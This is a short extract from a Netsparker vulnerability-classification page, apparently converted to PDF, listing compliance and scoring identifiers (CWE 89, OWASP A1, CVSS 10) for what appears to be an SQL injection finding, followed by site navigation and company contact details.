Classification	ID / Severity
PCI v3.1	6.5.1
PCI v3.2	6.5.1
OWASP 2013	A1
CWE	89
CAPEC	66
WASC	19
HIPAA	164.306(a), 164.308(a)
CVSS 3.0 Score	
Base	10 (Critical)
Temporal	10 (Critical)
Environmental	10 (Critical)
CVSS Vector String	
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H	

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

netsparker

Dead accurate, fast & easy-to-use Web Application Security Scanner

GET A DEMO

NETSPARKER

Features
Request Demo
Pricing
Netsparker Advisories
Case Studies

WEB SECURITY

Why Automate Web Security
The Problem with False Positives
Why Pay for Web Scanners
How to Evaluate Scanners
Getting Started with Web Security

COMPANY

Netsparker Ltd

Create PDF in your applications with the Pdfcrowd HTML to PDF API

PDFCROWD

United Kingdom, (reg. no. 06947644)
USA Office: +1 415 877 4450
UK Office: +44 (0)20 3588 3840
contact@netsparker.com

Copyright © 2018 Netsparker Ltd. All rights reserved. | Privacy Policy

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD